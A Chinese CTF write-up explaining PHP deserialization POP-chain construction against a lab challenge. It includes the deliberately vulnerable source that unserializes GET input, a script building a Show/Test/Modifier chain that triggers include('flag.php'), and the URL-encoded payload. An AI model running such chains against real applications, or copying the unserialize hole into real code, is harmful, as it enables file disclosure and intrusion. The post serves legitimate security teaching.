当前位置: 首页 > news >正文

php反序列化之pop链构造(基于重庆橙子科技靶场)

常见魔术方法的触发

__construct()    //创建类对象时调用
__destruct()    //对象被销毁时触发
__call()    //在对象中调用不可访问的方法时触发
__callStatic()    //在静态方式中调用不可访问的方法时触发
__get()    //调用类中不存在变量时触发(找有连续箭头的 this->a->b)
__set()    //给一个未定义的属性赋值时触发
__isset()    //在不可访问的属性上调用isset()或empty()触发
__unset()    //在不可访问的属性上使用unset()时触发

__sleep()    //使用serialize()时触发

__wakeup()    //执行unserialize()时触发
__toString()    //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
__invoke()    //对象被当做函数进行调用时触发(找有括号的类似$a()这种)

__set_state()     //使用var_export()时触发

__clone()    //对象复制完成时调用

__autoload()    //实例化一个未定义的类时触发

__debugInfo()    //使用var_dump时触发

下面基于重庆橙子科技靶场讲解演示

题目源码:

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {private $var;public function append($value){include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
?>

这种有很多类的 PHP 代码多半是需要构造pop链

代码审计:

简单看一下,需要给 pop 传参,并且会对传入内容进行反序列化操作

这里有三个类:Modifier、Show、Test

先找链尾,即:eval、flag 这些危险函数或者关键字

在第一个类中,找到输出 flag 的地方,发现需要调用append函数

调用append函数往上看发现需要触发 __invoke()

该魔术方法是当对象被当做函数进行调用时触发(找有括号的类似$a()这种)

在 Test 类中找到

再网上看发现需要触发__get() 

调用类中不存在变量时触发(找有连续箭头的 this->a->b)

在 Show 类中找到

注意:这里的这个source并不是类Show中的 public $source,而是str下新的一个source。

继续往上发现需要触发__toString()   

当对象被当做字符串时自动调用

找 echo , 也在Show类中,但我们也需要再对其实例化一遍

再往上就是__wakeup()函数

执行unserialize()时会自动调用,这里就是链头

按照上述顺序,编写pop链脚本

注意需要给private $var赋初值为flag.php,再通过include文件包含显示出flag的内容

由于这里涉及到私有变量(结果需要添加%00)

因此对结果进行url编码后再输出即可避免这个缺失的问题

<?php
class Modifier {private $var = 'flag.php';public function append($value){include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}$m = new  Modifier();
$t = new Test();
$t->p = $m;
$s = new Show();
$s->str = $t;
$s1 = new Show();
$s1->source = $s;
echo urlencode(serialize($s1))?>

运行结果: 

构造payload:

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

回显flag:

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

相关文章:

php反序列化之pop链构造(基于重庆橙子科技靶场)

常见魔术方法的触发 __construct() //创建类对象时调用 __destruct() //对象被销毁时触发 __call() //在对象中调用不可访问的方法时触发 __callStatic() //在静态方式中调用不可访问的方法时触发 __get() //调用类中不存在变量时触发&#xff08;找有连续箭头的…...

k8s---对外服务 ingress

目录 目录 目录 ingress与service ingress的组成 ingress-controller&#xff1a; ingress暴露服务的方式 2.方式二&#xff1a;DaemonSethostnetworknodeSelector DaemonSethostnetworknodeSelector如何实现 3.deploymentNodePort&#xff1a; 虚拟主机的方式实现http代…...

最优解-最长公共子序列

问题描述 最长公共子序列(Longest Common Subsequence&#xff0c;LCS)即求两个序列最长的公共子序列(可以不连续)。比如3 2 1 4 5和1 2 3 4 5两个序列&#xff0c;最长公共子序列为2 4 5 长度为3。解决这个问题必然要使用动态规划。既然要用到动态规划&#xff0c;就要知道状…...

el-tree获取当前选中节点及其所有父节点的id(包含半选中父节点的id)

如下图,我们现在全勾中的有表格管理及其下的子级,而半勾中的有工作台和任务管理及其子级 现在点击保存按钮后,需要将勾中的节点id及该节点对应的父节点,祖先节点的id(包含半选中父节点的id)也都一并传给后端,那这个例子里就应该共传入9个id,我们可以直接将getCheckedK…...

新上线一个IT公司微信小程序

项目介绍 项目背景: 一家IT公司,业务包含以下六大块: 1、IT设备回收 2、IT设备租赁 3、IT设备销售 4、IT设备维修 5、IT外包 6、IT软件开发 通过小程序,提供在线下单,在线制单,在线销售,业务介绍,推广,会员 项目目的: 业务介绍: 包含企业业务介绍 客户需…...

MCAL配置-PWM(EB23.0)

PWM配置项的介绍 一、General 1、PwmDeInitApi 从代码中添加/删除Pwm_17_GtmCcu6_Delnit() API。 TRUE&#xff1a;Pwm_17_GtmCcu6_Delnit() API可供用户使用。 FALSE&#xff1a;Pwm_17_GtmCcu6_Delnit() API对用户不可用。 注意:默认情况下禁用Pwm_17_GtmCcu6_Delnit() …...

v-if和v-for哪个优先级更高?

v-if和v-for哪个优先级更高&#xff1f; 结论&#xff1a; vue2输出的渲染函数是先执行循环&#xff0c;在看条件判断&#xff0c;如果将v-if和v-for写在一个标签内&#xff0c;哪怕只渲染列表中的一小部分&#xff0c;也要重新遍历整个列表&#xff0c;无形造成资源浪费。vu…...

Mapstruct 常用案例(持续更新.).

将A转换为B Mapper(componentModel "spring") public interface DemoConvert {B A2B(A a); }将List转换为List 注意&#xff1a;以下两个都不可缺少&#xff0c;需要先声明单个和集合的同时生命才可 Mapper(componentModel "spring") public interface …...

QT基础篇(10)QT5网络与通信

QT5网络与通信是指在QT5开发环境中使用网络进行数据传输和通信的相关功能和技术。 QT5提供了一套完善的网络模块&#xff0c;包括了TCP、UDP、HTTP等协议的支持&#xff0c;可以方便地在QT应用程序中进行网络通信。通过QT5的网络模块&#xff0c;开发者可以实现客户端和服务器…...

【Leetcode】269.火星词典(Hard)

一、题目 1、题目描述 现有一种使用英语字母的火星语言,这门语言的字母顺序与英语顺序不同。 给你一个字符串列表 words ,作为这门语言的词典,words 中的字符串已经 按这门新语言的字母顺序进行了排序 。 请你根据该词典还原出此语言中已知的字母顺序,并 按字母递增顺序…...

opencv_模型训练

文件夹 opencv训练文件 xml negdataposdata 说明 negdata目录: 放负样本的目录 posdata目录&#xff1a; 放正样本的目录 xml目录&#xff1a; 新建的一个目录&#xff0c;为之后存放分类器文件使用 neg.txt: 负样本路径列表 pos.txt: 正样本路径列表 pos.vec: 后续自动生成…...

python PyQt5的学习

一、安装与配置 1、环境&#xff1a; python3.7 2、相关模块 pip install pyqt5 pyqt5-tools pyqt5designer 可以加个镜像 -i https://pypi.tuna.tsinghua.edu.cn/simple3、配置设计器 python的pyqt5提供了一个设计器&#xff0c;便于ui的设计 界面是这样的&#xff1a…...

3.goLand基础语法

目录 概述语法for常量与变量数组切片 slice切片问题问题1问题2 Make 和 New结构体和指针结构体标签 结束 概述 从 java 转来学 go &#xff0c;在此记录&#xff0c;方便以后翻阅。 语法 for package mainimport "fmt"func main() {for i : 0; i < 3; i {fmt.…...

计算机硬件 5.2组装整机

第二节 组装整机 一、准备工作 1.常用工具&#xff1a;中号十字螺丝刀、尖嘴钳、软毛刷、防静电手环等。 2.组装原则&#xff1a; ①按“先小后大”“从里到外”的顺序进行&#xff0c;不遗漏每一环节&#xff0c;不“带病”进行下一环节。 ②合理使用工具器材&#xff0c;…...

Docker搭建MySQL主从数据库-亲测有效

1、测试环境概述 1、使用MySQL5.7.35版本 2、使用Centos7操作系统 3、使用Docker20版本 案例中描述了整个测试的详细过程 2、安装Docker 2.1、如果已经安装docker,可以先卸载 yum remove -y docker \ docker-client \ docker-client-latest \ docker-common \ docker-l…...

PyTorch 中的距离函数深度解析:掌握向量间的距离和相似度计算

目录 Pytorch中Distance functions详解 pairwise_distance 用途 用法 参数 数学理论公式 示例代码 cosine_similarity 用途 用法 参数 数学理论 示例代码 输出结果 pdist 用途 用法 参数 数学理论 示例代码 总结 Pytorch中Distance functions详解 pair…...

【Vue技巧】vue3中不支持.sync语法糖的解决方案

海鲸AI-ChatGPT4.0国内站点&#xff0c;支持设计稿转代码&#xff1a;https://www.atalk-ai.com 在 Vue 3 中&#xff0c;.sync 修饰符已经被移除。在 Vue 2 中&#xff0c;.sync 修饰符是一个语法糖&#xff0c;用于简化子组件和父组件之间的双向数据绑定。在 Vue 3 中&#x…...

设计模式⑦ :简单化

文章目录 一、前言二、Facade 模式1. 介绍2. 应用3. 总结 三、Mediator 模式1. 介绍2. 应用3. 总结 一、前言 有时候不想动脑子&#xff0c;就懒得看源码又不像浪费时间所以会看看书&#xff0c;但是又记不住&#xff0c;所以决定开始写"抄书"系列。本系列大部分内容…...

Java:选择哪个Java IDE好?

Java&#xff1a;选择哪个Java IDE好? 在开始前我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「java的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&…...

unity打包apk后网络请求提示unknown error处理

近期同事的一个比较老的版本的unity项目在电脑上运行都正常&#xff0c;但是打包成android后安装到手机上就提示unknown error 让我帮他排查一下问题。由于是涉密项目不能发图就简单介绍下处理过程吧&#xff01; 一、故障原因 请求的地址ssl证书过期了。 二、处理过程 更改请…...

全志Tiger-ISP调试工具安装与使用全攻略

1. 全志Tiger-ISP调试工具入门指南 第一次接触全志Tiger-ISP调试工具时&#xff0c;我也是一头雾水。这个工具主要用于图像信号处理器(ISP)的调试和优化&#xff0c;是开发智能摄像头、行车记录仪等视觉设备的必备利器。简单来说&#xff0c;它能让你像调色师一样精细调整图像的…...

Qwen-Image镜像快速入门:手把手教你用RTX4090D搭建多模态AI开发环境

Qwen-Image镜像快速入门&#xff1a;手把手教你用RTX4090D搭建多模态AI开发环境 1. 开篇&#xff1a;为什么选择Qwen-Image镜像&#xff1f; 如果你正在寻找一个开箱即用的多模态AI开发环境&#xff0c;特别是针对RTX 4090D显卡优化的大模型推理方案&#xff0c;那么Qwen-Ima…...

突破性数字音乐解放方案:QMCDecode实战指南与3大智能转换场景解密

突破性数字音乐解放方案&#xff1a;QMCDecode实战指南与3大智能转换场景解密 【免费下载链接】QMCDecode QQ音乐QMC格式转换为普通格式(qmcflac转flac&#xff0c;qmc0,qmc3转mp3, mflac,mflac0等转flac)&#xff0c;仅支持macOS&#xff0c;可自动识别到QQ音乐下载目录&#…...

【Java微服务Istio配置黄金法则】:20年架构师亲授5大避坑指南与生产级配置模板

第一章&#xff1a;Java微服务Istio配置的核心认知与演进脉络Istio 作为云原生服务网格的事实标准&#xff0c;其配置体系并非孤立存在&#xff0c;而是深度耦合于 Java 微服务的生命周期、通信契约与可观测性需求。早期 Spring Cloud Netflix 生态依赖客户端库&#xff08;如 …...

VideoAgentTrek-ScreenFilter模型压缩与量化教程:在边缘设备上实现轻量部署

VideoAgentTrek-ScreenFilter模型压缩与量化教程&#xff1a;在边缘设备上实现轻量部署 想让一个原本需要强大GPU才能流畅运行的视频分析模型&#xff0c;在树莓派或者Jetson Nano这类小巧的边缘设备上也能跑起来吗&#xff1f;这听起来像是个不可能的任务&#xff0c;但通过模…...

PyTorch 2.8镜像作品集:基于OpenCV+Torch的实时手势识别视频演示

PyTorch 2.8镜像作品集&#xff1a;基于OpenCVTorch的实时手势识别视频演示 1. 镜像环境与能力概览 PyTorch 2.8深度学习镜像是一个经过深度优化的专业级开发环境&#xff0c;专为现代AI应用设计。这个环境最吸引人的特点是它已经预装了所有必要的工具和库&#xff0c;让你可…...

你还在用for循环清洗CSV?Polars 2.0的scan_csv()+expression DSL已支持自动列式推断与零拷贝转换——立即升级避免被淘汰

第一章&#xff1a;Polars 2.0大规模数据清洗的核心范式变革Polars 2.0 不再将数据清洗视为一系列离散的、命令式的转换操作&#xff0c;而是以“惰性执行图列式语义优先”为基石&#xff0c;重构整个清洗生命周期。其核心变革体现在计算模型、内存管理与API设计三重维度的协同…...

seo优化一个月大概要花费多少_seo 优化一个月需要多少预算

SEO 优化一个月需要多少预算&#xff1a;详细分析与实用建议 在当今的数字时代&#xff0c;网站的SEO优化是提升网站流量和品牌知名度的关键。SEO 优化一个月大概要花费多少&#xff0c;SEO 优化一个月需要多少预算呢&#xff1f;这个问题困扰着许多企业和个人。本文将从问题分…...

大模型预训练中的损失函数:从交叉熵到代码实现的全方位解析

大模型预训练中的损失函数&#xff1a;从交叉熵到代码实现的全方位解析 在深度学习领域&#xff0c;大语言模型的崛起彻底改变了自然语言处理的格局。这些庞然大物的核心驱动力之一&#xff0c;正是预训练阶段精心设计的损失函数。对于decoder-only架构的模型而言&#xff0c;交…...

程序员鼓励师的消亡:当ChatGPT学会调情时

凌晨三点的代码战场凌晨三点的办公室&#xff0c;最后一行代码刚刚通过测试。疲惫的测试工程师瘫在椅上&#xff0c;屏幕右下角突然弹出消息&#xff1a;“亲爱的debug战士&#xff0c;今天的你又一次战胜了bug宇宙呢~&#xff08;眨眼emoji&#xff09;”。这不是人类同事的关…...